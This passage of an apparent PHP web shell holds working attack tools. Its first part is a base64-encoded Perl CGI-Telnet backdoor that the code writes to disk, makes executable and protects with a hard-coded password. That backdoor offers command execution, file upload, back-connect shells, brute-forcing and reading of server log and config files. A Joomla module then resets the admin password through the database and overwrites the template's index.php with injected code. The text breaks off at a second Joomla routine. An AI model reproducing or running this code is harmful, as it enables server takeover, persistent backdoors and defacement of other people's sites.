hIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
5474
5475$file = fopen("idb.te4m" ,"w+");
5476$write = fwrite ($file ,base64_decode($cgi4e));
5477fclose($file);
5478chmod("idb.te4m",0755);
5479echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : virusa</font><center><br><iframe src=/PBM/idb.te4m width=75% height=60% frameborder=0></iframe>
5480
5481</div></center>";
5482}
5483?>
5484<?php
5485if (isset($_GET['jak']) && ($_GET['jak'] == 'jombla')) {
5486?>
5487<form action="?&jak=jombla" method="post">
5488<?
5489if ($_POST['form_action'])
5490{
5491
5492$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
5493
5494 $dbprefix=($_POST['db_prefix']);
5495 $username=($_POST['db_username']);
5496 $password=($_POST['db_password']);
5497 $dbname=($_POST['db_name']);
5498 $site_url=($_POST['site_url']);
5499
5500$co=randomt();
5501
5502
5503
5504 $link=mysql_connect("localhost",$username,$password) ;
5505
5506 mysql_select_db($dbname,$link) ;
5507
5508$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '71a4d4cd2f30b185d707718273b17d05:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
5509echo("<br>[+] Changing admin password to jancok");
5510
5511 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
5512
5513if ( $req )
5514{
5515#################################################################
5516###################### V1.6 ######################
5517#################################################################
5518
5519
5520$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
5521 $data = mysql_fetch_array($req);
5522$template_name=$data["template"];
5523
5524$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
5525 $data = mysql_fetch_array($req);
5526$template_id=$data["extension_id"];
5527
5528$url2=$site_url."/index.php";
5529
5530$ch = curl_init();
5531curl_setopt($ch, CURLOPT_URL, $url2);
5532curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5533curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5534curl_setopt($ch, CURLOPT_HEADER, 1);
5535curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5536 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5537 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5538
5539
5540$buffer = curl_exec($ch);
5541
5542$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
5543$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
5544
5545///////////////////////////
5546$url2=$site_url."/index.php";
5547$ch = curl_init();
5548curl_setopt($ch, CURLOPT_URL, $url2);
5549curl_setopt($ch, CURLOPT_POST, 1);
5550curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
5551curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5552curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5553curl_setopt($ch, CURLOPT_HEADER, 0);
5554curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5555curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5556curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5557$buffer = curl_exec($ch);
5558
5559$pos = strpos($buffer,"com_config");
5560if($pos === false) {
5561echo("<br>[-] Ora iso login bosq");
5562exit;
5563}
5564else {
5565echo("<br>[+] Mantap bosq");
5566}
5567///////////////////////////
5568$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
5569$ch = curl_init();
5570curl_setopt($ch, CURLOPT_URL, $url2);
5571curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5572curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5573curl_setopt($ch, CURLOPT_HEADER, 0);
5574curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5575curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5576curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5577$buffer = curl_exec($ch);
5578
5579$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
5580if($hidden2) {
5581echo("<br>[+] index.php file founded in Theme Editor bosq");
5582}
5583else {
5584echo("<br>[-] index.php Not found in Theme Editor bosq");
5585exit;
5586}
5587echo("<br>[*] Updating Index.php bosq.....");
5588$url2=$site_url."/index.php?option=com_templates&layout=edit";
5589
5590$ch = curl_init();
5591curl_setopt($ch, CURLOPT_URL, $url2);
5592curl_setopt($ch, CURLOPT_POST, 1);
5593curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
5594
5595curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5596curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5597curl_setopt($ch, CURLOPT_HEADER, 0);
5598curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5599curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5600curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5601$buffer = curl_exec($ch);
5602
5603$pos = strpos($buffer,'<dd class="message message">');
5604if($pos === false) {
5605echo("<br>[-] ora iso ganti index.php bosq, manual wae yo :P");
5606exit;
5607}
5608else {
5609echo("<br>[+] Index.php wis tak ganti bosq");
5610}
5611#################################################################
5612###################### V1.6 END ######################
5613#################################################################
5614
5615
5616}
5617else
5618{
5619
5620#################################################################
5621###################### V1.5 ######################
5622#################################################################
5623
5624$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
5625 $data = mysql_fetch_array($req);
5626$template_name=$data["template"];
5627$url2=$site_url."/index.php";
5628$ch = curl_init();
5629curl_setopt($ch, CURLOPT_URL, $url2);
5630curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5631curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5632curl_setopt($ch, CURLOPT_HEADER, 1);
5633curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5634 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5635 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5636$buffer = curl_exec($ch);
5637
5638$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
5639
5640$url2=$site_url."/index.php";
5641$ch = curl_init();
5642curl_setopt($ch, CURLOPT_URL, $url2);
5643curl_setopt($ch, CURLOPT_POST, 1);
5644curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
5645curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5646curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5647curl_setopt($ch, CURLOPT_HEADER, 0);
5648curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5649curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5650curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5651$buffer = curl_exec($ch);
5652
5653$pos = strpos($buffer,"com_config");
5654
5655if($pos === false) {
5656echo("<br>[-] Ora iso Login bosq");
5657exit;
5658}
5659else {
5660echo("<br>[+] Sip iso login bosq");
5661}
5662///////////////////////////
5663$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
5664$ch = curl_init();
5665curl_setopt($ch, CURLOPT_URL, $url2);
5666curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5667curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5668curl_setopt($ch, CURLOPT_HEADER, 0);
5669curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5670 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5671 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5672$buffer = curl_exec($ch);
5673
5674$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
5675
5676if($hidden2) {
5677echo("<br>[+] index.php Ora eneng neng Editor bosq");
5678}
5679else {
5680echo("<br>[-] index.php Ora temu bosq");
5681}
5682
5683echo("<br>[*] sik tak ganti Index.php ne bosq.....");
5684$url2=$site_url."/index.php?option=com_templates&layout=edit";
5685$ch = curl_init();
5686curl_setopt($ch, CURLOPT_URL, $url2);
5687curl_setopt($ch, CURLOPT_POST, 1);
5688curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
5689curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
5690curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
5691curl_setopt($ch, CURLOPT_HEADER, 0);
5692curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
5693 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
5694 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
5695$buffer = curl_exec($ch);
5696
5697$pos = strpos($buffer,'<dd class="message message fade">');
5698if($pos === false) {
5699echo("<br>[-] Index.php Ora iso diganti bosq");
5700exit;
5701}
5702else {
5703echo("<br>[+] Index.php wis tak ganti bosq");
5704}
5705#################################################################
5706###################### V1.5 END ######################
5707#################################################################
5708
5709}
5710
5711}
5712
5713
5714function randomt() {
5715
5716 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
5717 srand((double)microtime()*1000000);
5718 $i = 0;
5719 $pass = '' ;
5720
5721 while ($i <= 7) {
5722 $num = rand() % 33;
5723 $tmp = substr($chars, $num, 1);
5724 $pass = $pass . $tmp;
5725 $i++;
5726 }
5727
5728 return $pass;
5729
5730}
5731
5732function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
5733
5734{
5735
5736$ar0=explode($marqueurDebutLien, $text);
5737$ar1=explode($marqueurFinLien, $ar0[$i]);
5738$ar=trim($ar1[0]);
5739return $ar;
5740}
5741echo "
5742\n";
5743echo "<title>change this sites</title>
5744\n";
5745echo "<body bgcolor=\"#000000\">
5746\n";
5747echo " <style>
5748\n";
5749echo "
5750\n";
5751echo "BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; color: white;}
5752\n";
5753echo "textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
5754\n";
5755echo "input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
5756\n";
5757echo "</style>
5758\n";
5759echo "<center>
5760\n";
5761echo "<font color=\"#FFFF6FF\" size='+3'>Hallo Bosq</font><br><br>
5762\n";
5763echo "<FORM action=\"\" method=\"post\">
5764\n";
5765echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">
5766\n";
5767echo "<br>
5768\n";
5769echo "<table border=1>
5770\n";
5771echo "
5772\n";
5773echo "<tr><td>db_prefix </td><td><input type=\"text\" size=\"30\" name=\"db_prefix\" value=\"jos_\"></td></tr>
5774\n";
5775echo "<tr><td>db_username </td><td><input type=\"text\" size=\"30\" name=\"db_username\" value=\"\"></td></tr>
5776\n";
5777echo "<tr><td>db_password</td><td><input type=\"text\" size=\"30\" name=\"db_password\" value=\"\"></td></tr>
5778\n";
5779echo "<tr><td>db_name</td><td><input type=\"text\" size=\"30\" name=\"db_name\" value=\"\"></td></tr>
5780\n";
5781echo "<tr><td>Admin Control panel url</td><td><input type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>
5782\n";
5783echo "
5784\n";
5785echo "</table>
5786\n";
5787echo "<br>
5788\n";
5789echo "<br>
5790\n";
5791echo "<TEXTAREA rows=\"18\" cols=\"50\" name=\"code\"></TEXTAREA>
5792\n";
5793echo " <br>
5794\n";
5795echo "<INPUT class=submit type=\"submit\" value=\"Submit\" name=\"Submit\">
5796\n";
5797echo "</FORM>
5798\n";
5799echo " <center> <font color=\"#FFFF6FF\" size='+1'> Change Index | Admin </font><br><br> <center>\n";
5800}
5801
5802?>
5803<?php
5804if (isset($_GET['jak']) && ($_GET['jak'] == 'jomla')) {
5805?>
5806<form action="?&jak=jomla" method="post">
5807<?php
5808error_reporting(0);
5809 if($_POST){
5810
5811 function jipukteks($param, $kata1, $kata2){
5812 if(strpos($param, $kata1) === FALSE) return FALSE;
5813 if(strpos($param, $kata2) === FALSE) return FALSE;
5814 $start = strpos($param, $kata1) + strlen($kata1);
5815 $end = strpos($param, $kata2, $start);
5816 $return = substr($param, $start, $end - $start);
5817 return $return;
5818}
5819
5820 function anucurl($sites){
5821 $ch1 = curl_init ("$sites");
5822curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
5823curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
5824curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
5825curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
5826curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
5827curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
5828curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
5829curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
5830$data = curl_exec ($ch1);
5831return $data;
5832 }
5833
